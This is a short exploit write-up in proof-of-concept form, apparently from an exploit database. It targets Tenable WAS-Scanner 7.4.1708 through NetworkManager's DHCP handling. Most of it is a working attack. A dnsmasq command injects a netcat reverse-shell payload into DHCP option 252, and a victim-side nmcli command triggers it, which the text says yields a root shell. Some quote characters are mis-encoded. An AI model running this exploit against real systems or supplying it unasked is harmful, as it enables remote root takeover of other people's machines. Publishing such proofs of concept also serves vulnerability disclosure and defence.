Tenable WAS-Scanner 7.4.1708 Remote Command Execution

`# Exploit Title: Tenable WAS-Scanner 7.4.1708 - Remote Command Execution   
# Discovery by: Sameer Goyal  
# Discovery Date: 2018-05-30  
# Vendor Homepage: https://www.tenable.com/  
# Software Link: https://www.tenable.com/products/tenable-io/web-application-scanning  
# Tested Version: WAS-20180328  
# Vulnerability Type: Remote Command Execution (RCE)  
# Tested on OS: CentOS 7.4.1708  
# Vulnerable daemon version: NetworkManager 1.8.0-11.el7_4  
  
# Steps to produce the RCE:   
  
# Step 1: Setup your malicious DHCP server in the network using dnsmasq:  
  
dnsmasq --interface=eth1 --bind-interfaces --except-interface=lo --dhcp-range=192.168.51.21,192.168.51.25,1h --conf-file=/dev/null --dhcp-option=6,192.168.51.1 --dhcp-option=3,192.168.51.1 --dhcp-option="252,x'&/home/wizard/nc -nv 192.168.51.1 5555 -e /bin/bash #"  
  
# DHCP-option-3 => gateway IP/ DHCP server IP.  
# DHCP-option-6 => DNS IP, which can be same as gateway IP( not mandatory)  
# DHCP-range => simply subnet range (1h, for 1 hour only)  
# DHCP option=> A!252,xA&<payload> #A(r)  
  
# Start the listener on port 5555 on other terminal .  
# Step 2: Send the normal IP request to the malicious DHCP server from the victim machine.  
  
nmcli con up A!Wired Connection 1A(r) && ifconfig  
  
# Step 3: Check the listener, we have got the reverse shell with root privileges.  
# Reference: https://www.exploit-db.com/docs/english/45334-obtaining-command-execution-through-the-networkmanager-daemon.pdf  
  
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